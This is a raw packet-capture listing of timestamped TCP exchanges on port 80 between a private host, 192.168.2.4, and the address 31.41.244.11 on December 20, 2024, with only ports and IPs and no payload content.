Dec 20, 2024 09:12:58.870443106 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.871434927 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.871501923 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.871541977 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.871611118 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.872788906 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.872853994 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.872878075 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.872951031 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.874070883 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.874203920 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.874288082 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.875406981 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.875492096 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.875495911 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.875535965 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.876702070 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.876773119 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.876876116 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.876955986 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.878006935 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.878089905 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.878181934 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.878268003 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.879329920 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.879374981 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.879442930 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.879724026 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.880578995 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.880636930 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.001046896 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.001163960 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.001213074 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.001605988 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.001697063 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.001785040 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.001842022 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.001864910 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.001888037 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.002795935 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.002851009 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.002891064 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.002990961 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.003849030 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.003916025 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.003956079 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.004065037 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.004905939 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.004981041 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.005022049 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.005115986 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.005945921 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.006062984 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.006063938 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.006161928 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.007025957 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.007101059 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.007143974 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.007241964 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.008080006 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.008130074 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.008171082 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.008171082 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.009109020 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.009188890 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.009198904 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.009901047 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.010189056 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.010277033 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.010322094 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.010539055 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.011197090 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.011239052 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.011356115 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.012165070 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.012248039 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.012340069 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.012341976 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.012386084 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.013294935 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.013390064 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.013420105 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.013473988 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.014353991 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.014404058 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.014475107 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.014545918 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.015474081 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.015533924 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.015572071 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.015609026 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.016592979 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.016650915 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.016680956 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.016742945 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.017479897 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.017590046 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.017595053 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.017714024 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.018532991 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.018646002 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.018744946 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.019598961 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.019682884 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.019692898 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.019726992 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.020632982 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.020714998 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.020747900 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.020816088 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.021692991 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.021768093 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.021840096 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.021887064 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.022748947 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.022876978 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.022888899 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.023010969 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.023804903 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.023875952 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.023937941 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.023993015 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.024840117 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.024924994 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.025018930 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.025880098 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.025954008 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.025960922 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.026035070 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.026946068 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.027080059 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.027101040 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.027173996 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.028000116 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.028187990 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.028198004 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.028256893 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.029086113 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.029136896 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.029237032 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.029292107 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.030061007 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.030179024 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.030280113 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.031119108 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.031225920 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.031233072 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.031333923 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.032181978 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.032263041 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.032267094 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.032464981 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.033200979 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.033260107 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.033318043 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.033480883 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.034241915 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.034358025 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.034425020 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.035345078 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.035430908 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.035510063 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.035510063 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.036391973 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.036417961 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.036531925 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.037389994 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.037520885 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.037537098 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.037597895 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.038439989 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.038563967 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.038645029 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.039505959 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.039685011 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.039750099 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.039855957 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.040539026 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.040638924 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.040673018 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.040765047 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.041604042 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.041702032 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.041785002 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.042655945 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.042797089 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.042838097 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.042838097 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.043685913 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.043752909 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.043792009 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.043792009 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.044758081 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.044838905 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.044866085 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.044905901 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.045777082 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.045902967 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.045903921 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.045983076 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.046849966 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.046935081 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.046967030 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.047007084 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.047894001 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.047957897 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.047997952 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.048053026 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.048942089 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.049052000 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.049125910 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.049983025 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.050074100 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.050085068 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.050204992 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.051057100 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.051145077 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.051229000 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.052104950 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.052175999 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.052210093 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.052277088 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.053172112 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.053237915 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.053244114 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.053286076 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.054171085 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.054234982 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.054265022 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.054317951 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.055229902 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.055316925 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.055327892 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.055377007 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.193366051 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.193454981 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.193495035 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.193538904 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.193816900 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.194140911 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.194165945 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.194176912 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.194253922 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.194369078 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.195091009 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.195142031 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.195180893 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.195249081 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.196146011 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.196206093 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.196238041 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.196346045 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.197210073 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.197259903 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.197283983 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.197300911 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.198250055 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.198317051 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.198358059 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.198358059 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.199304104 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.199368000 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.199408054 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.199510098 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.200339079 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.200397968 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.200438023 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.200537920 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.201371908 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.201486111 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.201536894 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.202517986 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.202543974 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.202553034 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.202600002 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.203510046 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.203615904 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.203625917 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.203674078 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.204526901 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.204622984 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.204641104 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.204687119 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.205600023 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.205662012 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.205701113 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.205749989 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.206640005 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.206698895 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.206737041 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.206928015 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.207736969 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.207813978 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.207882881 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.208728075 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.208774090 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.208812952 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.208959103 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.209789991 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.209894896 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.209974051 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.210829020 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.210979939 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.211191893 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.211900949 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.211967945 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.211985111 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.212074041 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.212945938 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.213072062 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.213072062 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.213375092 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.213975906 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.214030981 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.214068890 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.214180946 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.215012074 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.215143919 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.215259075 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.216080904 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.216172934 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.216191053 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.216330051 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.217104912 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.217173100 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.217211008 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.217438936 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.218170881 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.218230009 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.218269110 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.218523026 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.219209909 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.219310999 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.219343901 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.219403982 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.220259905 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.220318079 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.220350027 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:59.220403910 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:59.221311092 CET	80	49899	31.41.244.11	192.168.2.4
